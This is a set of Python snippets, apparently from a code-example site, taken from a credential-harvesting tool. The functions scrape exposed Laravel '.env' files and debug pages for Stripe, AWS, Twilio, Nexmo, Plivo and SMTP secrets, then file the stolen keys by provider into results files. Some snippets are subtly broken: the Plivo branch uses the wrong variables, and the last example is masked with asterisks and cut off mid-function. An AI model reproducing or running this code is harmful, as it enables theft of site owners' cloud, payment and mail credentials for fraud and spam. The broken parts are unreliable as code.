示例#1
0
 def get_stripe(self, text, url):
     try:
         if "STRIPE_KEY" in text:
             if "STRIPE_KEY=" in text:
                 method = '/.env'
                 stripkey = reg('\nSTRIPE_KEY=(.*?)\n', text)[0]
                 stripsec = reg('\nSTRIPE_SECRET=(.*?)\n', text)[0]
             elif '<td>STRIPE_KEY</td>' in text:
                 method = 'debug'
                 stripkey = reg(
                     '<td>STRIPE_KEY<\/td>\s+<td><pre.*>(.*?)<\/span>',
                     text)[0]
                 stripsec = reg(
                     '<td>STRIPE_SECRET<\/td>\s+<td><pre.*>(.*?)<\/span>',
                     text)[0]
             build = 'URL: ' + str(url) + '\nMETHOD: ' + str(
                 method) + '\nSTRIPE_KEY: ' + str(
                     stripkey) + '\nSTRIPE_SECRET: ' + str(stripsec)
             remover = str(build).replace('\r', '')
             save = open('Resultz/STRIPE.txt', 'a')
             save.write(remover + '\n\n')
             save.close()
             return True
         else:
             return False
     except:
         return False
示例#2
0
 def get_smtp(self, text, url):
     try:
         if "AWS_ACCESS_KEY_ID" in text:
             if "AWS_ACCESS_KEY_ID=" in text:
                 method = '/.env'
                 awskey = reg("\nAWS_ACCESS_KEY_ID=(.*?)\n", text)[0]
                 awssecreet = reg("\nAWS_SECRET_ACCESS_KEY(.*?)\n", text)[0]
                 awsregion = reg("\nAWS_DEFAULT_REGION(.*?)\n", text)[0]
             elif "<td>AWS_ACCESS_KEY_ID</td>" in text:
                 method = 'debug'
                 awskey = reg(
                     '<td>AWS_ACCESS_KEY_ID<\/td>\s+<td><pre.*>(.*?)<\/span>',
                     text)[0]
                 awssecreet = reg(
                     '<td>AWS_SECRET_ACCESS_KEY<\/td>\s+<td><pre.*>(.*?)<\/span>',
                     text)[0]
                 awsregion = reg(
                     '<td>AWS_DEFAULT_REGION<\/td>\s+<td><pre.*>(.*?)<\/span>',
                     text)[0]
             build = 'URL: ' + str(url) + '\nMETHOD: ' + str(
                 method) + '\nAWS_ACCESS_KEY_ID: ' + str(
                     awskey) + '\nAWS_SECRET_ACCESS_KEY: ' + str(
                         awssecreet) + '\nAWS_DEFAULT_REGION: ' + str(
                             awsregion)
             remover = str(build).replace('\r', '')
             save = open('Resultz/' + awsregion + '.txt', 'a')
             save.write(remover + '\n\n')
             save.close()
             return True
         else:
             return False
     except:
         return False
示例#3
0
 def get_twillio(self, text, url):
     try:
         if "TWILIO" in text:
             if "TWILIO_ACCOUNT_SID=" in text:
                 method = '/.env'
                 acc_sid = reg('\nTWILIO_ACCOUNT_SID=(.*?)\n', text)[0]
                 acc_key = reg('\nTWILIO_API_KEY=(.*?)\n', text)[0]
                 phone = reg('\nTWILIO_NUMBER=(.*?)\n', text)[0]
             elif '<td>TWILIO_ACCOUNT_SID</td>' in text:
                 method = 'debug'
                 acc_sid = reg(
                     '<td>TWILIO_ACCOUNT_SID<\/td>\s+<td><pre.*>(.*?)<\/span>',
                     text)[0]
                 acc_key = reg(
                     '<td>TWILIO_API_KEY<\/td>\s+<td><pre.*>(.*?)<\/span>',
                     text)[0]
                 phone = reg(
                     '<td>TWILIO_NUMBER<\/td>\s+<td><pre.*>(.*?)<\/span>',
                     text)[0]
             build = 'URL: ' + str(url) + '\nMETHOD: ' + str(
                 method) + '\nTWILIO_ACCOUNT_SID: ' + str(
                     acc_sid) + '\nTWILIO_API_KEY: ' + str(
                         acc_key) + '\nTWILIO_NUMBER: ' + str(phone)
             remover = str(build).replace('\r', '')
             save = open('Resultz/TWILLIO.txt', 'a')
             save.write(remover + '\n\n')
             save.close()
             return True
         else:
             return False
     except:
         return False
示例#4
0
	def get_twillio(self, text, url):
		try:
			if "TWILIO" in text:
				if "TWILIO_ACCOUNT_SID=" in text:
					method = '/.env'
					try:
						acc_sid = reg('\nTWILIO_ACCOUNT_SID=(.*?)\n', text)[0]
					except:
						acc_sid = ''
					try:
						acc_key = reg('\nTWILIO_API_KEY=(.*?)\n', text)[0]
					except:
						acc_key = ''
					try:
						sec = reg('\nTWILIO_API_SECRET=(.*?)\n', text)[0]
					except:
						sec = ''
					try:
						chatid = reg('\nTWILIO_CHAT_SERVICE_SID=(.*?)\n', text)[0]
					except:
						chatid = ''
					try:
						phone = reg('\nTWILIO_NUMBER=(.*?)\n', text)[0]
					except:
						phone = ''
					try:
						auhtoken = reg('\nTWILIO_AUTH_TOKEN=(.*?)\n', text)[0]
					except:
						auhtoken = ''
				elif '<td>TWILIO_ACCOUNT_SID</td>' in text:
					method = 'debug'
					try:
						acc_sid = reg('<td>TWILIO_ACCOUNT_SID<\/td>\s+<td><pre.*>(.*?)<\/span>', text)[0]
					except:
						acc_sid = ''
					try:
						acc_key = reg('<td>TWILIO_API_KEY<\/td>\s+<td><pre.*>(.*?)<\/span>', text)[0]
					except:
						acc_key = ''
					try:
						sec = reg('<td>TWILIO_API_SECRET<\/td>\s+<td><pre.*>(.*?)<\/span>', text)[0]
					except:
						sec = ''
					try:
						chatid = reg('<td>TWILIO_CHAT_SERVICE_SID<\/td>\s+<td><pre.*>(.*?)<\/span>', text)[0]
					except:
						chatid = ''
					try:
						phone = reg('<td>TWILIO_NUMBER<\/td>\s+<td><pre.*>(.*?)<\/span>', text)[0]
					except:
						phone = ''
					try:
						auhtoken = reg('<td>TWILIO_AUTH_TOKEN<\/td>\s+<td><pre.*>(.*?)<\/span>', text)[0]
					except:
						auhtoken = ''
				build = 'URL: '+str(url)+'\nMETHOD: '+str(method)+'\nTWILIO_ACCOUNT_SID: '+str(acc_sid)+'\nTWILIO_API_KEY: '+str(acc_key)+'\nTWILIO_API_SECRET: '+str(sec)+'\nTWILIO_CHAT_SERVICE_SID: '+str(chatid)+'\nTWILIO_NUMBER: '+str(phone)+'\nTWILIO_AUTH_TOKEN: '+str(auhtoken)
				remover = str(build).replace('\r', '')
				save = open('Results/TWILLIO.txt', 'a')
				save.write(remover+'\n\n')
				save.close()
				return True
			else:
				return False
		except:
			return False
示例#5
0
 def get_nexmo(self, text, url):
     try:
         if "NEXMO" in text:
             if "NEXMO_KEY=" in text:
                 method = '/.env'
                 try:
                     nexmo_key = reg('\nNEXMO_KEY=(.*?)\n', text)[0]
                 except:
                     nexmo_key = ''
                 try:
                     nexmo_secret = reg('\nNEXMO_SECRET=(.*?)\n', text)[0]
                 except:
                     nexmo_secret = ''
                 try:
                     phone = reg('\nNEXMO_NUMBER=(.*?)\n', text)[0]
                 except:
                     phone = ''
             elif '<td>NEXMO_KEY</td>' in text:
                 method = 'debug'
                 try:
                     nexmo_key = reg(
                         '<td>NEXMO_KEY<\/td>\s+<td><pre.*>(.*?)<\/span>',
                         text)[0]
                 except:
                     nexmo_key = ''
                 try:
                     nexmo_secret = reg(
                         '<td>NEXMO_SECRET<\/td>\s+<td><pre.*>(.*?)<\/span>',
                         text)[0]
                 except:
                     nexmo_secret = ''
                 try:
                     phone = reg(
                         '<td>EXMO_NUMBER<\/td>\s+<td><pre.*>(.*?)<\/span>',
                         text)[0]
                 except:
                     phone = ''
             build = 'URL: ' + str(url) + '\nMETHOD: ' + str(
                 method) + '\nNEXMO_KEY: ' + str(
                     nexmo_key) + '\nNEXMO_SECRET: ' + str(
                         nexmo_secret) + '\nNEXMO_NUMBER: ' + str(phone)
             remover = str(build).replace('\r', '')
             save = open('Results/NEXMO.txt', 'a')
             save.write(remover + '\n\n')
             save.close()
             return True
         elif "EXOTEL_API_KEY" in text:
             if "EXOTEL_API_KEY=" in text:
                 method = '/.env'
                 try:
                     exotel_api = reg('\nEXOTEL_API_KEY=(.*?)\n', text)[0]
                 except:
                     exotel_api = ''
                 try:
                     exotel_token = reg('\nEXOTEL_API_TOKEN=(.*?)\n',
                                        text)[0]
                 except:
                     exotel_token = ''
                 try:
                     exotel_sid = reg('\nEXOTEL_API_SID=(.*?)\n', text)[0]
                 except:
                     exotel_sid = ''
             elif '<td>EXOTEL_API_KEY</td>' in text:
                 method = 'debug'
                 try:
                     exotel_api = reg(
                         '<td>EXOTEL_API_KEY<\/td>\s+<td><pre.*>(.*?)<\/span>',
                         text)[0]
                 except:
                     exotel_api = ''
                 try:
                     exotel_token = reg(
                         '<td>EXOTEL_API_TOKEN<\/td>\s+<td><pre.*>(.*?)<\/span>',
                         text)[0]
                 except:
                     exotel_token = ''
                 try:
                     exotel_sid = reg(
                         '<td>EXOTEL_API_SID<\/td>\s+<td><pre.*>(.*?)<\/span>',
                         text)[0]
                 except:
                     exotel_sid = ''
             build = 'URL: ' + str(url) + '\nMETHOD: ' + str(
                 method) + '\nEXOTEL_API_KEY: ' + str(
                     exotel_api) + '\nEXOTEL_API_TOKEN: ' + str(
                         exotel_token) + '\nEXOTEL_API_SID: ' + str(
                             exotel_sid)
             remover = str(build).replace('\r', '')
             save = open('Results/EXOTEL.txt', 'a')
             save.write(remover + '\n\n')
             save.close()
             return True
         elif "ONESIGNAL_APP_ID" in text:
             if "ONESIGNAL_APP_ID=" in text:
                 method = '/.env'
                 try:
                     onesignal_id = reg('\nONESIGNAL_APP_ID=(.*?)\n',
                                        text)[0]
                 except:
                     onesignal_id = ''
                 try:
                     onesignal_token = reg(
                         '\nONESIGNAL_REST_API_KEY=(.*?)\n', text)[0]
                 except:
                     onesignal_id = ''
                 try:
                     onesignal_auth = reg(
                         '\nONESIGNAL_USER_AUTH_KEY=(.*?)\n', text)[0]
                 except:
                     onesignal_auth = ''
             elif '<td>ONESIGNAL_APP_ID</td>' in text:
                 method = 'debug'
                 try:
                     onesignal_id = reg(
                         '<td>ONESIGNAL_APP_ID<\/td>\s+<td><pre.*>(.*?)<\/span>',
                         text)[0]
                 except:
                     onesignal_id = ''
                 try:
                     onesignal_token = reg(
                         '<td>ONESIGNAL_REST_API_KEY<\/td>\s+<td><pre.*>(.*?)<\/span>',
                         text)[0]
                 except:
                     onesignal_token = ''
                 try:
                     onesignal_auth = reg(
                         '<td>ONESIGNAL_USER_AUTH_KEY<\/td>\s+<td><pre.*>(.*?)<\/span>',
                         text)[0]
                 except:
                     onesignal_auth = ''
             build = 'URL: ' + str(url) + '\nMETHOD: ' + str(
                 method) + '\nONESIGNAL_APP_ID: ' + str(
                     onesignal_id) + '\nONESIGNAL_REST_API_KEY: ' + str(
                         onesignal_token
                     ) + '\nONESIGNAL_USER_AUTH_KEY: ' + str(onesignal_auth)
             remover = str(build).replace('\r', '')
             save = open('Results/ONESIGNAL.txt', 'a')
             save.write(remover + '\n\n')
             save.close()
             return True
         elif "TOKBOX_KEY_DEV" in text:
             if "TOKBOX_KEY_DEV=" in text:
                 method = '/.env'
                 try:
                     tokbox_key = reg('\nTOKBOX_KEY_DEV=(.*?)\n', text)[0]
                 except:
                     tokbox_key = ''
                 try:
                     tokbox_secret = reg('\nTOKBOX_SECRET_DEV=(.*?)\n',
                                         text)[0]
                 except:
                     tokbox_secret = ''
             elif '<td>TOKBOX_KEY_DEV</td>' in text:
                 method = 'debug'
                 try:
                     tokbox_key = reg(
                         '<td>TOKBOX_KEY_DEV<\/td>\s+<td><pre.*>(.*?)<\/span>',
                         text)[0]
                 except:
                     tokbox_key = ''
                 try:
                     tokbox_secret = reg(
                         '<td>TOKBOX_SECRET_DEV<\/td>\s+<td><pre.*>(.*?)<\/span>',
                         text)[0]
                 except:
                     tokbox_secret = ''
             build = 'URL: ' + str(url) + '\nMETHOD: ' + str(
                 method) + '\nTOKBOX_KEY_DEV: ' + str(
                     tokbox_key) + '\nTOKBOX_SECRET_DEV: ' + str(
                         tokbox_secret)
             remover = str(build).replace('\r', '')
             save = open('Results/TOKBOX.txt', 'a')
             save.write(remover + '\n\n')
             save.close()
             return True
         elif "TOKBOX_KEY" in text:
             if "TOKBOX_KEY=" in text:
                 method = '/.env'
                 try:
                     tokbox_key = reg('\nTOKBOX_KEY=(.*?)\n', text)[0]
                 except:
                     tokbox_key = ''
                 try:
                     tokbox_secret = reg('\nTOKBOX_SECRET=(.*?)\n', text)[0]
                 except:
                     tokbox_secret = ''
             elif '<td>TOKBOX_KEY</td>' in text:
                 method = 'debug'
                 try:
                     tokbox_key = reg(
                         '<td>TOKBOX_KEY<\/td>\s+<td><pre.*>(.*?)<\/span>',
                         text)[0]
                 except:
                     tokbox_key = ''
                 try:
                     tokbox_secret = reg(
                         '<td>TOKBOX_SECRET<\/td>\s+<td><pre.*>(.*?)<\/span>',
                         text)[0]
                 except:
                     tokbox_secret = ''
             build = 'URL: ' + str(url) + '\nMETHOD: ' + str(
                 method) + '\nTOKBOX_KEY_DEV: ' + str(
                     tokbox_key) + '\nTOKBOX_SECRET_DEV: ' + str(
                         tokbox_secret)
             remover = str(build).replace('\r', '')
             save = open('Results/TOKBOX.txt', 'a')
             save.write(remover + '\n\n')
             save.close()
             return True
         elif "TOKBOX_KEY_OLD" in text:
             if "TOKBOX_KEY_OLD=" in text:
                 method = '/.env'
                 try:
                     tokbox_key = reg('\nTOKBOX_KEY_OLD=(.*?)\n', text)[0]
                 except:
                     tokbox_key = ''
                 try:
                     tokbox_secret = reg('\nTOKBOX_SECRET_OLD=(.*?)\n',
                                         text)[0]
                 except:
                     tokbox_secret = ''
             elif '<td>TOKBOX_KEY_OLD</td>' in text:
                 method = 'debug'
                 try:
                     tokbox_key = reg(
                         '<td>TOKBOX_KEY_OLD<\/td>\s+<td><pre.*>(.*?)<\/span>',
                         text)[0]
                 except:
                     tokbox_key = ''
                 try:
                     tokbox_secret = reg(
                         '<td>TOKBOX_SECRET_OLD<\/td>\s+<td><pre.*>(.*?)<\/span>',
                         text)[0]
                 except:
                     tokbox_secret = ''
             build = 'URL: ' + str(url) + '\nMETHOD: ' + str(
                 method) + '\nTOKBOX_KEY_DEV: ' + str(
                     tokbox_key) + '\nTOKBOX_SECRET_DEV: ' + str(
                         tokbox_secret)
             remover = str(build).replace('\r', '')
             save = open('Results/TOKBOX.txt', 'a')
             save.write(remover + '\n\n')
             save.close()
             return True
         elif "PLIVO_AUTH_ID" in text:
             if "PLIVO_AUTH_ID=" in text:
                 method = '/.env'
                 try:
                     plivo_auth = reg('\nPLIVO_AUTH_ID=(.*?)\n', text)[0]
                 except:
                     plivo_auth = ''
                 try:
                     plivo_secret = reg('\nPLIVO_AUTH_TOKEN=(.*?)\n',
                                        text)[0]
                 except:
                     plivo_secret = ''
             elif '<td>PLIVO_AUTH_ID</td>' in text:
                 method = 'debug'
                 try:
                     plivo_auth = reg(
                         '<td>PLIVO_AUTH_ID<\/td>\s+<td><pre.*>(.*?)<\/span>',
                         text)[0]
                 except:
                     plivo_auth = ''
                 try:
                     plivo_secret = reg(
                         '<td>PLIVO_AUTH_TOKEN<\/td>\s+<td><pre.*>(.*?)<\/span>',
                         text)[0]
                 except:
                     plivo_secret = ''
             build = 'URL: ' + str(url) + '\nMETHOD: ' + str(
                 method) + '\nPLIVO_AUTH_ID: ' + str(
                     tokbox_key) + '\nPLIVO_AUTH_TOKEN: ' + str(
                         tokbox_secret)
             remover = str(build).replace('\r', '')
             save = open('Results/PVILO.txt', 'a')
             save.write(remover + '\n\n')
             save.close()
             return True
         else:
             return False
     except:
         return False
示例#6
0
 def get_aws_data(self, response, url):
     try:
         if "AWS_ACCESS_KEY_ID" in response:
             if "AWS_ACCESS_KEY_ID=" in response:
                 method = '/.env'
                 try:
                     aws_key = reg("\nAWS_ACCESS_KEY_ID=(.*?)\n",
                                   response)[0]
                 except:
                     aws_key = ''
                 try:
                     aws_sec = reg("\nAWS_SECRET_ACCESS_KEY=(.*?)\n",
                                   response)[0]
                 except:
                     aws_sec = ''
                 try:
                     get_region = self.get_aws_region(response)
                     if get_region:
                         aws_reg = get_region
                     else:
                         aws_reg = ''
                 except:
                     aws_reg = ''
             elif "<td>AWS_ACCESS_KEY_ID</td>" in response:
                 method = 'debug'
                 try:
                     aws_key = reg(
                         "<td>AWS_ACCESS_KEY_ID<\/td>\s+<td><pre.*>(.*?)<\/span>",
                         response)[0]
                 except:
                     aws_key = ''
                 try:
                     aws_sec = reg(
                         "<td>AWS_SECRET_ACCESS_KEY<\/td>\s+<td><pre.*>(.*?)<\/span>",
                         response)[0]
                 except:
                     aws_sec = ''
                     try:
                         get_region = self.get_aws_region(response)
                         if get_region:
                             aws_reg = get_region
                         else:
                             aws_reg = ''
                     except:
                         aws_reg = ''
             if aws_reg == '':
                 aws_reg = "aws_unknown_region--"
             if aws_key == '' and aws_sec == '':
                 return False
             else:
                 build = '{}|{}|{}|{}|{}'.format(str(url), str(method),
                                                 str(aws_key), str(aws_sec),
                                                 str(aws_reg))
                 remover = str(build).replace('\r', '')
                 save = open('Results/aws_access_key_secret.txt', 'a')
                 save.write(remover + '\n')
                 save.close()
             return True
         elif "AWS_KEY" in response:
             if "AWS_KEY=" in response:
                 method = '/.env'
                 try:
                     aws_key = reg("\nAWS_KEY=(.*?)\n", response)[0]
                 except:
                     aws_key = ''
                 try:
                     aws_sec = reg("\nAWS_SECRET=(.*?)\n", response)[0]
                 except:
                     aws_sec = ''
                 try:
                     aws_reg = reg("\nAWS_REGION=(.*?)\n", response)[0]
                 except:
                     aws_reg = ''
                 try:
                     aws_buc = reg("\nAWS_BUCKET=(.*?)\n", response)[0]
                 except:
                     aws_buc = ''
             elif "<td>AWS_KEY</td>" in response:
                 method = 'debug'
                 try:
                     aws_key = reg(
                         "<td>AWS_KEY<\/td>\s+<td><pre.*>(.*?)<\/span>",
                         response)[0]
                 except:
                     aws_key = ''
                 try:
                     aws_sec = reg(
                         "<td>AWS_SECRET<\/td>\s+<td><pre.*>(.*?)<\/span>",
                         response)[0]
                 except:
                     aws_sec = ''
                 try:
                     aws_reg = reg(
                         "<td>AWS_REGION<\/td>\s+<td><pre.*>(.*?)<\/span>",
                         response)[0]
                 except:
                     aws_reg = ''
                 try:
                     aws_buc = reg(
                         "<td>AWS_BUCKET<\/td>\s+<td><pre.*>(.*?)<\/span>",
                         response)[0]
                 except:
                     aws_buc = ''
             if aws_reg == '':
                 aws_reg = "aws_unknown_region--"
             if aws_key == '' and aws_sec == '':
                 return False
             else:
                 build = '{}|{}|{}|{}|{}|{}'.format(str(url), str(method),
                                                    str(aws_key),
                                                    str(aws_sec),
                                                    str(aws_reg),
                                                    str(aws_buc))
                 remover = str(build).replace('\r', '')
                 save = open('Results/aws_access_key_secret.txt', 'a')
                 save.write(remover + '\n')
                 save.close()
             return True
         elif "SES_KEY" in response:
             if "SES_KEY=" in response:
                 method = '/.env'
                 try:
                     aws_key = reg("\nSES_KEY=(.*?)\n", response)[0]
                 except:
                     aws_key = ''
                 try:
                     aws_sec = reg("\nSES_SECRET=(.*?)\n", response)[0]
                 except:
                     aws_sec = ''
                 try:
                     get_region = self.get_aws_region(response)
                     if get_region:
                         aws_reg = get_region
                     else:
                         aws_reg = ''
                 except:
                     aws_reg = ''
             elif "<td>SES_KEY</td>" in response:
                 method = 'debug'
                 try:
                     aws_key = reg(
                         "<td>SES_KEY<\/td>\s+<td><pre.*>(.*?)<\/span>",
                         response)[0]
                 except:
                     aws_key = ''
                 try:
                     aws_sec = reg(
                         "<td>SES_SECRET<\/td>\s+<td><pre.*>(.*?)<\/span>",
                         response)[0]
                 except:
                     aws_sec = ''
                 try:
                     get_region = self.get_aws_region(response)
                     if get_region:
                         aws_reg = get_region
                     else:
                         aws_reg = ''
                 except:
                     aws_reg = ''
             if aws_reg == '':
                 aws_reg = "aws_unknown_region--"
             if aws_key == '' and aws_sec == '':
                 return False
             else:
                 build = '{}|{}|{}|{}|{}'.format(str(url), str(method),
                                                 str(aws_key), str(aws_sec),
                                                 str(aws_reg))
                 remover = str(build).replace('\r', '')
                 save = open('Results/aws_access_key_secret.txt', 'a')
                 save.write(remover + '\n')
                 save.close()
             return True
         else:
             return False
     except:
         return False
示例#7
0
 def get_smtp(self, response, url):
     try:
         if "MAIL_HOST" in response:
             if "MAIL_HOST=" in response:
                 method = '/.env'
                 mailhost = reg("\nMAIL_HOST=(.*?)\n", response)[0]
                 mailport = reg("\nMAIL_PORT=(.*?)\n", response)[0]
                 mailuser = reg("\nMAIL_USERNAME=(.*?)\n", response)[0]
                 mailpass = reg("\nMAIL_PASSWORD=(.*?)\n", response)[0]
                 try:
                     mailfrom = reg("\nMAIL_FROM_ADDRESS=(.*?)\n",
                                    response)[0]
                 except:
                     mailfrom = ''
                 try:
                     fromname = reg("\MAIL_FROM_NAME=(.*?)\n", response)[0]
                 except:
                     fromname = ''
             elif "<td>MAIL_HOST</td>" in response:
                 method = 'debug'
                 mailhost = reg(
                     '<td>MAIL_HOST<\/td>\s+<td><pre.*>(.*?)<\/span>',
                     response)[0]
                 mailport = reg(
                     '<td>MAIL_PORT<\/td>\s+<td><pre.*>(.*?)<\/span>',
                     response)[0]
                 mailuser = reg(
                     '<td>MAIL_USERNAME<\/td>\s+<td><pre.*>(.*?)<\/span>',
                     response)[0]
                 mailpass = reg(
                     '<td>MAIL_PASSWORD<\/td>\s+<td><pre.*>(.*?)<\/span>',
                     response)[0]
                 try:
                     mailfrom = reg(
                         "<td>MAIL_FROM_ADDRESS<\/td>\s+<td><pre.*>(.*?)<\/span>",
                         response)[0]
                 except:
                     mailfrom = ''
                 try:
                     fromname = reg(
                         "<td>MAIL_FROM_NAME<\/td>\s+<td><pre.*>(.*?)<\/span>",
                         response)[0]
                 except:
                     fromname = ''
             if mailuser == 'null' or mailpass == 'null' or mailuser == '' or mailpass == '':
                 return False
             else:
                 if '.amazonaws.com' in mailhost:
                     build = '{}|{}|{}|{}|{}|{}|{}|{}'.format(
                         str(url), str(method), str(mailhost),
                         str(mailport), str(mailuser), str(mailpass),
                         str(mailfrom), str(fromname))
                     remover = str(build).replace('\r', '')
                     save = open('Results/smtp_aws.txt', 'a')
                     save.write(remover + '\n')
                     save.close()
                 elif 'sendgrid' in mailhost:
                     build = '{}|{}|{}|{}|{}|{}|{}|{}'.format(
                         str(url), str(method), str(mailhost),
                         str(mailport), str(mailuser), str(mailpass),
                         str(mailfrom), str(fromname))
                     remover = str(build).replace('\r', '')
                     save = open('Results/sendgrid.txt', 'a')
                     save.write(remover + '\n')
                     save.close()
                 elif 'office365' in mailhost:
                     build = '{}|{}|{}|{}|{}|{}|{}|{}'.format(
                         str(url), str(method), str(mailhost),
                         str(mailport), str(mailuser), str(mailpass),
                         str(mailfrom), str(fromname))
                     remover = str(build).replace('\r', '')
                     save = open('Results/office.txt', 'a')
                     save.write(remover + '\n')
                     save.close()
                 elif '1and1' in mailhost:
                     build = '{}|{}|{}|{}|{}|{}|{}|{}'.format(
                         str(url), str(method), str(mailhost),
                         str(mailport), str(mailuser), str(mailpass),
                         str(mailfrom), str(fromname))
                     remover = str(build).replace('\r', '')
                     save = open('Results/1and1.txt', 'a')
                     save.write(remover + '\n')
                     save.close()
                 elif 'zoho' in mailhost:
                     build = '{}|{}|{}|{}|{}|{}|{}|{}'.format(
                         str(url), str(method), str(mailhost),
                         str(mailport), str(mailuser), str(mailpass),
                         str(mailfrom), str(fromname))
                     remover = str(build).replace('\r', '')
                     save = open('Results/zoho.txt', 'a')
                     save.write(remover + '\n')
                     save.close()
                 elif 'mandrillapp' in mailhost:
                     build = '{}|{}|{}|{}|{}|{}|{}|{}'.format(
                         str(url), str(method), str(mailhost),
                         str(mailport), str(mailuser), str(mailpass),
                         str(mailfrom), str(fromname))
                     remover = str(build).replace('\r', '')
                     save = open('Results/mandrill.txt', 'a')
                     save.write(remover + '\n')
                     save.close()
                 elif 'smtp2go' in mailhost:
                     build = '{}|{}|{}|{}|{}|{}|{}|{}'.format(
                         str(url), str(method), str(mailhost),
                         str(mailport), str(mailuser), str(mailpass),
                         str(mailfrom), str(fromname))
                     remover = str(build).replace('\r', '')
                     save = open('Results/smtp2go.txt', 'a')
                     save.write(remover + '\n')
                     save.close()
                 elif 'mailgun' in mailhost:
                     build = '{}|{}|{}|{}|{}|{}|{}|{}'.format(
                         str(url), str(method), str(mailhost),
                         str(mailport), str(mailuser), str(mailpass),
                         str(mailfrom), str(fromname))
                     remover = str(build).replace('\r', '')
                     save = open('Results/mailgun.txt', 'a')
                     save.write(remover + '\n')
                     save.close()
                 elif 'gmail' in mailhost:
                     build = '{}|{}|{}|{}|{}|{}|{}|{}'.format(
                         str(url), str(method), str(mailhost),
                         str(mailport), str(mailuser), str(mailpass),
                         str(mailfrom), str(fromname))
                     remover = str(build).replace('\r', '')
                     save = open('Results/gmail.txt', 'a')
                     save.write(remover + '\n')
                     save.close()
                 elif 'googlemail' in mailhost:
                     build = '{}|{}|{}|{}|{}|{}|{}|{}'.format(
                         str(url), str(method), str(mailhost),
                         str(mailport), str(mailuser), str(mailpass),
                         str(mailfrom), str(fromname))
                     remover = str(build).replace('\r', '')
                     save = open('Results/gmail.txt', 'a')
                     save.write(remover + '\n')
                     save.close()
                 elif 'mailtrap' in mailhost:
                     build = '{}|{}|{}|{}|{}|{}|{}|{}'.format(
                         str(url), str(method), str(mailhost),
                         str(mailport), str(mailuser), str(mailpass),
                         str(mailfrom), str(fromname))
                     remover = str(build).replace('\r', '')
                     save = open('Results/mailtrap.txt', 'a')
                     save.write(remover + '\n')
                     save.close()
                 else:
                     build = '{}|{}|{}|{}|{}|{}|{}|{}'.format(
                         str(url), str(method), str(mailhost),
                         str(mailport), str(mailuser), str(mailpass),
                         str(mailfrom), str(fromname))
                     remover = str(build).replace('\r', '')
                     save = open('Results/SMTP_RANDOM.txt', 'a')
                     save.write(remover + '\n')
                     save.close()
                 return True
         else:
             return False
     except:
         return False
示例#8
0
 def get_twillio(self, response, url):
     try:
         if "TWILIO" in response:
             if "TWILIO_ACCOUNT_SID=" in response:
                 method = '/.env'
                 try:
                     acc_sid = reg('\nTWILIO_ACCOUNT_SID=(.*?)\n',
                                   response)[0]
                 except:
                     acc_sid = ''
                 try:
                     acc_key = reg('\nTWILIO_API_KEY=(.*?)\n', response)[0]
                 except:
                     acc_key = ''
                 try:
                     sec = reg('\nTWILIO_API_SECRET=(.*?)\n', response)[0]
                 except:
                     sec = ''
                 try:
                     chatid = reg('\nTWILIO_CHAT_SERVICE_SID=(.*?)\n',
                                  response)[0]
                 except:
                     chatid = ''
                 try:
                     phone = reg('\nTWILIO_NUMBER=(.*?)\n', response)[0]
                 except:
                     phone = ''
                 try:
                     authtoken = reg('\nTWILIO_AUTH_TOKEN=(.*?)\n',
                                     response)[0]
                 except:
                     authtoken = ''
             elif '<td>TWILIO_ACCOUNT_SID</td>' in response:
                 method = 'debug'
                 try:
                     acc_sid = reg(
                         '<td>TWILIO_ACCOUNT_SID<\/td>\s+<td><pre.*>(.*?)<\/span>',
                         response)[0]
                 except:
                     acc_sid = ''
                 try:
                     acc_key = reg(
                         '<td>TWILIO_API_KEY<\/td>\s+<td><pre.*>(.*?)<\/span>',
                         response)[0]
                 except:
                     acc_key = ''
                 try:
                     sec = reg(
                         '<td>TWILIO_API_SECRET<\/td>\s+<td><pre.*>(.*?)<\/span>',
                         response)[0]
                 except:
                     sec = ''
                 try:
                     chatid = reg(
                         '<td>TWILIO_CHAT_SERVICE_SID<\/td>\s+<td><pre.*>(.*?)<\/span>',
                         response)[0]
                 except:
                     chatid = ''
                 try:
                     phone = reg(
                         '<td>TWILIO_NUMBER<\/td>\s+<td><pre.*>(.*?)<\/span>',
                         response)[0]
                 except:
                     phone = ''
                 try:
                     authtoken = reg(
                         '<td>TWILIO_AUTH_TOKEN<\/td>\s+<td><pre.*>(.*?)<\/span>',
                         response)[0]
                 except:
                     authtoken = ''
             build = '{}|{}|{}|{}|{}|{}|{}|{}'.format(
                 str(url), str(method), str(acc_sid), str(acc_key),
                 str(sec), str(chatid), str(phone), str(authtoken))
             remover = str(build).replace('\r', '')
             save = open('Results/Twilio.txt', 'a')
             save.write(remover + '\n')
             save.close()
             return True
         else:
             return False
     except:
         return False
示例#9
0
def get_smtp2(url, text):
    try:
        if "MAIL_HOST" in text:
            if "<td>MAIL_HOST</td>" in text:
                print "\033[1;40m[x] {} ===>   \033[1;32;40mSMTP".format(
                    str(url))
                mailhost = reg(
                    '<td>MAIL_HOST<\/td>\s+<td><pre.*>(.*?)<\/span>', text)[0]
                mailport = reg(
                    '<td>MAIL_PORT<\/td>\s+<td><pre.*>(.*?)<\/span>', text)[0]
                mailuser = reg(
                    '<td>MAIL_USERNAME<\/td>\s+<td><pre.*>(.*?)<\/span>',
                    text)[0]
                mailpass = reg(
                    '<td>MAIL_PASSWORD<\/td>\s+<td><pre.*>(.*?)<\/span>',
                    text)[0]
                build = 'URL: ' + str(url) + '\nMAILHOST: ' + str(
                    mailhost) + '\nMAILPORT: ' + str(
                        mailport) + '\nMAILUSER: '******'\nMAILPASS: '******'\r', '')
                if ".amazonaws.com" in text and aws() == "on":
                    mailhost = reg("\nMAIL_HOST=(.*?)\n", text)[0]
                    mailport = reg("\nMAIL_PORT=(.*?)\n", text)[0]
                    mailuser = reg("\nMAIL_USERNAME=(.*?)\n", text)[0]
                    mailpass = reg("\nMAIL_PASSWORD=(.*?)\n", text)[0]
                    getcountry = reg('email-smtp.(.*?).amazonaws.com',
                                     mailhost)[0]
                    build = 'URL: ' + str(url) + '\nMAILHOST: ' + str(
                        mailhost) + '\nMAILPORT: ' + str(
                            mailport) + '\nMAILUSER: '******'\nMAILPASS: '******'\r', '')
                    print "\033[1;40m[x] {} ===>   \033[1;32;40m amazonaws".format(
                        str(url))
                    save = open(getcountry + '.txt', 'a')
                    save.write(str(remover) + '\n\n')
                    save.close()
                if "smtp.sendgrid.net" in str(mailhost) and sendgrid() == "on":

                    print "\033[1;40m[x] {} ===>   \033[1;32;40mSendgrid".format(
                        str(url))
                    save = open('Resultz/sendgrid.txt', 'a')
                    save.write(str(remover) + '\n\n')
                    save.close()
                if "mailgun.org" in str(mailhost) and mailgun() == "on":
                    print "\033[1;40m[x] {} ===>   \033[1;32;40mmailgun".format(
                        str(url))
